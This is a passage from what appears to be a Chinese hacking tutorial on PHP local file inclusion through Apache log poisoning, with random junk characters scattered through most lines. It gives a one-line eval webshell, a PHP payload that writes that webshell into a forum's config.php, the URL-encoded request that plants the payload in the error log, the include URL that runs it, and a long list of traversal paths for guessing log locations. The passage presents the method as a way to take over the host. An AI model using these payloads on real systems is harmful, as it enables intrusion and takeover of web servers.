因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
0 V1 d% o$ m3 ^3 W" I" t& g
9 W5 F/ }/ T0 P( B9 O比如还是这句一句话木马 ) }1 @ H9 J, x+ M- H4 I+ [: {
<?eval($_POST[cmd]);?>
; a; e( y X- }# Q7 K F: X. x& Z9 ^! a, a
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
6 h7 m8 J# [2 V( [fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
% f# ~5 d% p) a/ N' v. n& U+ C( _) C$ ]$ q- G
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
+ @% D7 y1 D; i9 s4 _fclose($fp);?> //在config.php里写入一句木马语句 L5 F7 j6 h' f" v9 I
3 A8 m! l; p( j9 }我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
^6 t8 m r7 ~. t$ `: r转换为
' C% S5 f/ D- _%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
, F1 `& f/ i) v6 q. q' S( A0 tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 1 E0 ?/ K3 l4 E* D
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B * h0 d5 c+ X* W: v! ?: a& D* Q1 \$ q
fclose%28%24fp%29%3B%3F%3E , h8 `) z" e" J1 }5 E4 G
我们提交
# v, D% j! S8 J6 |http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
% I' o7 [4 F0 L2 @+ E+ M%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
" U2 Y( T# H) b- Z# M%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 4 L/ s s n8 K. X0 ~' ]6 z& L
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 7 F6 T% A* A/ p# a2 ?0 n
& b* W$ P2 Q G, l. t. T$ T
这样就错误日志里就记录下了这行写入webshell的代码。
" P0 M' p% V& H t我们再来包含日志,提交 3 \/ a8 d& b1 f g T' q& m" {0 o) `# |
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
: I7 h2 B1 ]1 w/ s1 G6 p: O. J7 e9 _
这样webshell就写入成功了,config.php里就写入一句木马语句 / P/ L4 I8 K5 T( j; C
OK.
% `% `$ h @* n& V A! Hhttp://www.xxx.com/forum/config.php这个就成了我们的webshell ! n5 B: }) J8 e( B1 W& T( z0 C# f
直接用lanker的客户端一连,主机就是你的了。
2 t. E; w' m+ E1 J: u4 A! ]4 l8 F/ c9 e8 w, G& m6 n; G" U9 u2 Y
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 6 o9 j" ^, m+ c/ v- g
# s8 U* `4 y& B
其他的日志路径,你可以去猜,也可以参照这里。 7 x4 Z) U9 ~- |" ^& g
../../../../../../../../../../var/log/httpd/access_log * F+ Z! K3 c3 p$ z3 W
../../../../../../../../../../var/log/httpd/error_log 6 ]8 B9 a& D' |8 ~! G, t( x
../apache/logs/error.log + u" X' J' U/ P2 D
../apache/logs/access.log , v8 L9 V" a- H4 b- i! U6 p
../../apache/logs/error.log $ P4 j9 w7 M$ V$ _0 P y7 _4 c
../../apache/logs/access.log . F0 W' X6 W0 Y) R: U
../../../apache/logs/error.log * Y2 _* D/ o1 p3 p y6 v9 q
../../../apache/logs/access.log
' ^" c8 m' q+ M) q: M../../../../../../../../../../etc/httpd/logs/acces_log
: N( p( G" p/ u/ \" J5 M../../../../../../../../../../etc/httpd/logs/acces.log 5 B5 g! Y% B, \2 f. p
../../../../../../../../../../etc/httpd/logs/error_log
9 I: U( ~. V+ ~3 V6 Q+ R$ ^ `../../../../../../../../../../etc/httpd/logs/error.log / f3 ]3 l; F. M, a5 a& A8 p3 R
../../../../../../../../../../var/www/logs/access_log t h3 c/ c: o: A1 d. F
../../../../../../../../../../var/www/logs/access.log
$ Y6 c! \1 S# H! J3 f% n0 [$ v, F6 x6 z4 t../../../../../../../../../../usr/local/apache/logs/access_log
4 L: ^/ Y$ a9 R2 w../../../../../../../../../../usr/local/apache/logs/access.log
- A, m. ^* n# J. |- x4 H9 E* w+ d../../../../../../../../../../var/log/apache/access_log
/ R2 f5 i% s' v' e8 X../../../../../../../../../../var/log/apache/access.log
# z, \4 i# C1 l0 {* Q../../../../../../../../../../var/log/access_log 8 d- T2 ~) W8 O6 u7 N7 y# V2 J
../../../../../../../../../../var/www/logs/error_log
% X5 D- E/ H- g../../../../../../../../../../var/www/logs/error.log
: U. [4 |+ s6 a7 \6 j* C../../../../../../../../../../usr/local/apache/logs/error_log
7 E9 |1 {, _$ r% v0 G: w8 i../../../../../../../../../../usr/local/apache/logs/error.log 7 k: z- `$ k' s. b( Z
../../../../../../../../../../var/log/apache/error_log ) ~0 \( M! J1 y9 L4 U
../../../../../../../../../../var/log/apache/error.log
5 ^# w& U3 X I5 a! r5 w0 ^/ G../../../../../../../../../../var/log/access_log % F+ @6 X2 i" Z# H! N l. r
../../../../../../../../../../var/log/error_log
U S2 b$ }! c2 X( \0 o/var/log/httpd/access_log 0 W) L# i9 _, w( R, x4 G# r5 e
/var/log/httpd/error_log - V$ D3 ~( t9 }2 p
../apache/logs/error.log 5 G+ B z3 g+ W; O* n& C( R
../apache/logs/access.log # u+ p8 V' e" o/ b. x0 ]
../../apache/logs/error.log
3 ]; O/ Z* o" p../../apache/logs/access.log . h- @; n, f! o
../../../apache/logs/error.log ) r2 r: X1 E9 h2 Q* u
../../../apache/logs/access.log
- ]8 G. r9 ?/ m- Z7 M9 |% K1 m/etc/httpd/logs/acces_log
6 f. k) e$ N1 H* E9 t' P/etc/httpd/logs/acces.log 9 e) {8 k. S: |
/etc/httpd/logs/error_log 9 W, I5 @8 A+ R# Y, Y
/etc/httpd/logs/error.log
0 R' @1 m/ S& [8 o0 C/var/www/logs/access_log
6 s8 F" m$ P' C& |$ n/ P% `4 W/var/www/logs/access.log $ a! `( b' p" f% n: Y! I+ n
/usr/local/apache/logs/access_log 1 u" B, y/ w' Y i4 }0 ~3 P
/usr/local/apache/logs/access.log
7 c: p | g$ N4 M; D3 `5 s0 X# X2 W/var/log/apache/access_log
: ?" m& }$ I o! D2 T/var/log/apache/access.log " `( p' j5 a0 A. E( g
/var/log/access_log
9 ^; }! G$ J3 {; R/var/www/logs/error_log $ G0 Y3 C5 L+ p8 ~: A, V
/var/www/logs/error.log k) v7 v- j7 M \$ M+ `0 V, I
/usr/local/apache/logs/error_log 3 a2 i! ]* C; G. ?2 |
/usr/local/apache/logs/error.log 1 [) e8 E# F: Q
/var/log/apache/error_log
! q, a1 K+ H% Y% [( u% H/var/log/apache/error.log
1 O- l; e& M. c$ z& F( d/var/log/access_log + }3 I* G3 Q# u* ]8 b; E
/var/log/error_log |